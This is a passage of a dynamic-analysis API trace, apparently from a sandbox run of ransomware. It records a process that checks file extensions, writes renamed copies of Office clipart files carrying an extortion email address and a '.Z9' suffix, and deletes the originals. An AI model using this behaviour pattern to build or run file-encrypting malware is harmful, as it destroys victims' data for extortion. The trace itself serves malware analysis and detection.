	[0167.707] lstrlenW (lpString=".bz2") returned 4
	[0167.707] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.707] lstrlenW (lpString=".7z") returned 3
	[0167.707] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.707] lstrlenW (lpString=".dbf") returned 4
	[0167.707] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.707] lstrlenW (lpString=".1cd") returned 4
	[0167.707] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.707] lstrlenW (lpString=".jpg") returned 4
	[0167.707] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.708] lstrlenW (lpString=".doc") returned 4
	[0167.708] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.708] lstrlenW (lpString=".docx") returned 5
	[0167.708] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0167.708] lstrlenW (lpString=".pdf") returned 4
	[0167.708] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.708] lstrlenW (lpString=".xls") returned 4
	[0167.708] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.708] lstrlenW (lpString=".xlsx") returned 5
	[0167.708] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0167.708] lstrlenW (lpString=".ppt") returned 4
	[0167.708] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.708] lstrlenW (lpString=".zip") returned 4
	[0167.708] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.708] lstrlenW (lpString=".rar") returned 4
	[0167.708] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.708] lstrlenW (lpString=".bz2") returned 4
	[0167.708] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.708] lstrlenW (lpString=".7z") returned 3
	[0167.708] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.708] lstrlenW (lpString=".dbf") returned 4
	[0167.708] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.708] lstrlenW (lpString=".1cd") returned 4
	[0167.708] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.708] lstrlenW (lpString=".jpg") returned 4
	[0167.708] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.709] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.709] lstrlenW (lpString="J0101867.BMP") returned 12
	[0167.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.970] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=32616) returned 1
	[0167.970] CloseHandle (hObject=0x440) returned 1
	[0167.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220
	[0168.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8
	[0169.266] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.266] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0169.274] GetLastError () returned 0x0
	[0169.275] ReadFile (in: hFile=0x4f8, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x7f68, lpOverlapped=0x0) returned 1
	[0169.303] WriteFile (in: hFile=0x4fc, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x7f70, lpOverlapped=0x0) returned 1
	[0169.305] ReadFile (in: hFile=0x4f8, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.305] WriteFile (in: hFile=0x4fc, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.306] SetEndOfFile (hFile=0x4fc) returned 1
	[0169.306] CloseHandle (hObject=0x4fc) returned 1
	[0169.306] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.306] SetEndOfFile (hFile=0x4f8) returned 1
	[0169.310] CloseHandle (hObject=0x4f8) returned 1
	[0169.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1
	[0169.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.312] lstrlenW (lpString=".doc") returned 4
	[0169.312] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0169.312] lstrlenW (lpString=".docx") returned 5
	[0169.312] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0169.312] lstrlenW (lpString=".pdf") returned 4
	[0169.313] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0169.313] lstrlenW (lpString=".xls") returned 4
	[0169.313] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0169.313] lstrlenW (lpString=".xlsx") returned 5
	[0169.313] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0169.313] lstrlenW (lpString=".ppt") returned 4
	[0169.313] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0169.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.313] lstrlenW (lpString=".zip") returned 4
	[0169.313] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0169.313] lstrlenW (lpString=".rar") returned 4
	[0169.313] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0169.313] lstrlenW (lpString=".bz2") returned 4
	[0169.313] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0169.313] lstrlenW (lpString=".7z") returned 3
	[0169.313] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0169.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.313] lstrlenW (lpString=".dbf") returned 4
	[0169.313] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0169.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.313] lstrlenW (lpString=".1cd") returned 4
	[0169.313] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0169.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.313] lstrlenW (lpString=".jpg") returned 4
	[0169.313] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0169.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.313] lstrlenW (lpString=".doc") returned 4
	[0169.314] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0169.314] lstrlenW (lpString=".docx") returned 5
	[0169.314] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0169.314] lstrlenW (lpString=".pdf") returned 4
	[0169.314] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0169.314] lstrlenW (lpString=".xls") returned 4
	[0169.314] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0169.314] lstrlenW (lpString=".xlsx") returned 5
	[0169.314] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0169.314] lstrlenW (lpString=".ppt") returned 4
	[0169.314] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0169.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.314] lstrlenW (lpString=".zip") returned 4
	[0169.314] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0169.314] lstrlenW (lpString=".rar") returned 4
	[0169.314] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0169.314] lstrlenW (lpString=".bz2") returned 4
	[0169.314] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0169.314] lstrlenW (lpString=".7z") returned 3
	[0169.314] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0169.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.314] lstrlenW (lpString=".dbf") returned 4
	[0169.314] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0169.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.314] lstrlenW (lpString=".1cd") returned 4
	[0169.314] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0169.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0169.314] lstrlenW (lpString=".jpg") returned 4
	[0169.314] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0169.315] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.315] lstrlenW (lpString="J0105232.WMF") returned 12
	[0169.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8
	[0169.316] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=5632) returned 1
	[0169.316] CloseHandle (hObject=0x4f8) returned 1
	[0169.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220
	[0169.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8
	[0169.317] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.317] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0169.318] GetLastError () returned 0x0
	[0169.318] ReadFile (in: hFile=0x4f8, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1600, lpOverlapped=0x0) returned 1
	[0169.416] WriteFile (in: hFile=0x4fc, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1610, lpOverlapped=0x0) returned 1
	[0169.418] ReadFile (in: hFile=0x4f8, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.418] WriteFile (in: hFile=0x4fc, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.418] SetEndOfFile (hFile=0x4fc) returned 1
	[0169.418] CloseHandle (hObject=0x4fc) returned 1
	[0169.418] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.418] SetEndOfFile (hFile=0x4f8) returned 1
	[0169.422] CloseHandle (hObject=0x4f8) returned 1
	[0169.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1
	[0169.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.914] lstrlenW (lpString=".doc") returned 4
	[0169.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.914] lstrlenW (lpString=".docx") returned 5
	[0169.914] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.914] lstrlenW (lpString=".pdf") returned 4
	[0169.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.914] lstrlenW (lpString=".xls") returned 4
	[0169.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.914] lstrlenW (lpString=".xlsx") returned 5
	[0169.914] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.914] lstrlenW (lpString=".ppt") returned 4
	[0169.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.914] lstrlenW (lpString=".zip") returned 4
	[0169.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.914] lstrlenW (lpString=".rar") returned 4
	[0169.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.914] lstrlenW (lpString=".bz2") returned 4
	[0169.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.914] lstrlenW (lpString=".7z") returned 3
	[0169.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.915] lstrlenW (lpString=".dbf") returned 4
	[0169.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.915] lstrlenW (lpString=".1cd") returned 4
	[0169.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.915] lstrlenW (lpString=".jpg") returned 4
	[0169.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.915] lstrlenW (lpString=".doc") returned 4
	[0169.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.915] lstrlenW (lpString=".docx") returned 5
	[0169.915] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.915] lstrlenW (lpString=".pdf") returned 4
	[0169.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.915] lstrlenW (lpString=".xls") returned 4
	[0169.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.915] lstrlenW (lpString=".xlsx") returned 5
	[0169.915] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.915] lstrlenW (lpString=".ppt") returned 4
	[0169.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.915] lstrlenW (lpString=".zip") returned 4
	[0169.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.915] lstrlenW (lpString=".rar") returned 4
	[0169.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.915] lstrlenW (lpString=".bz2") returned 4
	[0169.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.915] lstrlenW (lpString=".7z") returned 3
	[0169.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.915] lstrlenW (lpString=".dbf") returned 4
	[0169.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.916] lstrlenW (lpString=".1cd") returned 4
	[0169.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0169.916] lstrlenW (lpString=".jpg") returned 4
	[0169.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.916] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.916] lstrlenW (lpString="J0105266.WMF") returned 12
	[0169.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.018] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=5908) returned 1
	[0170.018] CloseHandle (hObject=0x534) returned 1
	[0170.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220
	[0170.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.060] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.061] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.061] GetLastError () returned 0x0
	[0170.061] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1714, lpOverlapped=0x0) returned 1
	[0170.063] WriteFile (in: hFile=0x534, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1720, lpOverlapped=0x0) returned 1
	[0170.064] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.064] WriteFile (in: hFile=0x534, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.064] SetEndOfFile (hFile=0x534) returned 1
	[0170.064] CloseHandle (hObject=0x534) returned 1
	[0170.065] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.065] SetEndOfFile (hFile=0x538) returned 1
	[0170.067] CloseHandle (hObject=0x538) returned 1
	[0170.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1
	[0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.069] lstrlenW (lpString=".doc") returned 4
	[0170.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.069] lstrlenW (lpString=".docx") returned 5
	[0170.069] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.069] lstrlenW (lpString=".pdf") returned 4
	[0170.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.069] lstrlenW (lpString=".xls") returned 4
	[0170.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.069] lstrlenW (lpString=".xlsx") returned 5
	[0170.069] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.069] lstrlenW (lpString=".ppt") returned 4
	[0170.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0170.069] lstrlenW (lpString=".zip") returned 4
	[0170.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.069] lstrlenW (lpString=".rar") returned 4
	[0170.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.069] lstrlenW (lpString=".bz2") returned 4
